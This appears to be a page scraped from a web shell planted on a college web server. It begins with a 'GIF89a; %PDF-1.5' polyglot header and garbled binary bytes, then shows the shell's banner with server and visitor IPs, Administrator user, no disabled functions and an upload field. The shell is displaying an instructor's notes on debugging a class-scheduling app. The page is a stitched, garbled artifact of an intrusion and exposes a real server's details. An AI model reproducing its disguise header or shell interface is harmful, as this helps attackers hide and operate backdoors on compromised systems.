GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/Classes/CST2146/Notes/Archive/ |
Upload File : |
Working on: Finder DONE 2021-04-07 Need a finder for the schedule. Find classes/instructors/rooms/etc... Six Across Ghost 2021-02-25 Six Class Something is wrong with displaySchedule js when we have 7 classes w/ overlap. Needs 5 across and shows 6. See CST2019 Fall on T. Error Not due to 2 over 2 overlap. Not due to 2703 import issue. Database backed up to scheduler_2021_04_07 Working in Events_Prepare() line 1246 ??? Events_Prepare_Check line 1251 ??? Events_Prepare_MaxOverlap 1337 How is overlappingEventsAmount used in Events_Prepare_Check? See lines 1310, 1314. Monday Loop thru all for day. Overlap groups. 1072 2641 1600 1620 1861 2 are created. Begin with count from group Divisor = overlapCount Loop thru groups for nonOverlap (count them) 0 nonOverlap found. Divisor -= parseInt(nonOverlap/2); First group Divisor = 2 Second group Divisor = 3 1052 1256 1439 1206 Tuesday Loop thru all for day. Overlap groups. 1700 2823 2514 1701 1794 1802 2505 2802 2702 2703 #1802 1701 (1701 is already in a group so remove this group and add to existing) #2514 2823 (2823 is already in a group so remove this group and add to existing) #2702 1794 (1794 is already in a group so remove this group and add to existing) #2703 1794 (1794 is already in a group so remove this group and add to existing) #2802 1701 (1701 is already in a group so remove this group and add to existing) 2 are created. Begin with count from group Divisor = overlapCount Group 1: Divisor = 3 Group 2: Divisor = 7 Loop thru groups for nonOverlap (count them) Group 1: nonOverlap = 2 Group 2: nonOverlap = 5 Divisor -= parseInt(nonOverlap/2); Group 1: Divisor = 3 - parseInt(2/2) = 3-1 = 2 Group 2: Divisor = 7 - parseInt(5/2) = 7-2 = 5 js: if ( day == 'T' ) { console.log(day+' EVENTS_TO_DISPLAY='+JSON.stringify(EVENTS_TO_DISPLAY)); } let DEBUG_scmIds = ['4202','4163','4203','4179','4206','4189','4204']; if ( DEBUG_scmIds.indexOf(DEBUG_scmIds) !== -1 ) { DEBUG_Events_MaxOverlap = true; } Problem: Ideas: Classes on different campuses should not conflict.